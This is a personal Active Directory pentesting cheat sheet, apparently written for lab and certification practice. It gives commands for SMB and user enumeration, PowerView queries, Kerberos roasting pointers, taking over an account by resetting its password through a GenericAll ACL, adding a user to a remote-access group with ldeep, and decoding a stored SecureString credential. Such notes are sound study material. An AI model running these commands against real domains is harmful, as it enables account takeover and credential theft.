kei5uke

AD Methodology & Enumeration

Properties2
tagsactivedirectory, methodology, enumeration
aliasesAD Methodology, AD Enumeration, PowerView

2 min read

🏰 Active Directory — Methodology & Enumeration

Kerberos attacks: kerberos. Graphing: bloodhound. Tooling & lateral movement: tools.

Steps

  1. Enum 139/445 — enum4linux -a resourced.local (or -U -o IP); smbclient to the DC (139-445-smb).
  2. Find the TLD (usually .local) — often visible in Nmap output.
  3. Enumerate users / bruteforce Kerberos — Kerbrute, msfconsole (kerberos).
  4. AS-REP roast accounts without pre-auth (kerberos).
  5. Visualize with BloodHound + Neo4j (needs some credential first) (bloodhound).
  6. Escalate — secretsdump, psexec with hashes (tools).
xfreerdp /u:stephanie /d:corp.com /v:192.168.50.75
enum4linux -U -o 192.168.1.200
enum4linux -a resourced.local

Enumeration — built-in & PowerView

Built-in

net user /domain                  # all domain users
net user jeffadmin /domain        # detail on one user
net group /domain                 # all domain groups

PowerView

Import-Module .\powerview.ps1
Get-NetDomain                     # domain info
Get-NetUser | select FIELD        # users
Get-NetGroup "NAME"               # a group's members
Get-NetComputer                   # domain computers
Find-LocalAdminAccess             # where the current user is local admin
Get-NetUser -SPN                  # service accounts → Kerberoast
Find-DomainShare                  # reachable shares

Impacket (Kali)

GetADUsers.py -all -dc-ip 192.168.219.122 domain.name/user:pass

Abuse a strong ACL (GenericAll → reset password)

When: BloodHound shows you have GenericAll/GenericWrite over a user. Goal: take over that account. GenericAll is the most powerful edge.

  1. Reset the target’s password: 
    $pass = ConvertTo-SecureString 'Password123' -AsPlainText -Force
Set-DomainUserPassword -Identity robert -AccountPassword $pass
  2. Become them and check where they’re admin: 
    runas /user:corp.com\robert cmd.exe
Find-LocalAdminAccess

Alternatively, add a user to a remote-access group with ldeep:

python3 __main__.py ldap -u tracy.white -p '...' -d nara-security.com -s ldap://nara-security.com \
  add_to_group "CN=TRACY WHITE,OU=STAFF,DC=NARA-SECURITY,DC=COM" "CN=REMOTE ACCESS,OU=remote,DC=NARA-SECURITY,DC=COM"

MS SecureString decode

$pw = Get-Content .creds.txt | ConvertTo-SecureString
$bstr = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($pw)
[Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)

References: Attacktive Directory writeup · PG Hutch · WADComs · PowerView tips v2 / v3.

Graph View

Backlinks